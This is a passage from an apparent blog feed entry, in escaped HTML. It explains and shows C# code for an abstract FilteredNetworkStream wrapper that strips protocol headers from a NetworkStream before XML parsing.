class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;       &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Flush&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Position&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FilterBeforeRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Seek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SeekOrigin&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;origin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Seek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;origin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;long&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SetLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;buffer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;offset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;count&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;cp&#34;&gt;#endregion    &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</summary>
		<content type="html">&lt;p&gt;So not that long ago, someone posted a question asking how to deal with a certain situation. The situation is such that there is a network file stream coming from somewhere, that has certain data you want to keep, and certain data you don&#39;t want to keep. Control blocks, extra header information, weirdo protocols, too much data coming back from an API, etc...&lt;/p&gt;&#xA;&lt;p&gt;My suggestion was to create a simple container object (aka wrapper) to the existing network stream, that operates the same as the network stream, but does the necessary filtering.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s an example of how you&#39;d use it, and and example base class implementation of for the filters follows it. In the actual problem case example, he was dealing with a &lt;code&gt;NetworkStream&lt;/code&gt; that contained XML data in irregular chunks, with control blocks as fixed headers. Each header indicates how much XML data follows. The filter will remove the headers as needed, presenting a simple stream of XML data to the &lt;code&gt;XmlReader&lt;/code&gt; to parse.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;ve left out the concrete implementation that actually parses the stream, and here you just have the &lt;code&gt;FilteredNetworkStream&lt;/code&gt; base class and an idea of how to use it once you implement it. All that&#39;s left for the implementer is to override the abstract method &lt;code&gt;FilterBeforeRead&lt;/code&gt;, which contains the customized filtering logic for the particular situation.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NetworkStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;inputStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetNetworkStreamFromSomewhere&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StreamWriter&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outputStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StreamWriter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;@&amp;#34;C:\Path\To\File.xml&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;XmlReader&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;XmlReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Create&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;FilteredNetworkStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;inputStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// method returns empty string if current data is discardable &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outputData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetDesiredDataFromReader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;outputData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// save desired data to local file&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;outputStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;outputData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here&#39;s the base class:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;abstract&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;FilteredNetworkStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Stream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;FilteredNetworkStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NetworkStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;protected&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NetworkStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;abstract&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;FilterBeforeRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;cp&#34;&gt;#region Stream Implementation&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanRead&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanRead&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanSeek&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanSeek&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CanWrite&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_baseStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CanWrite&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span 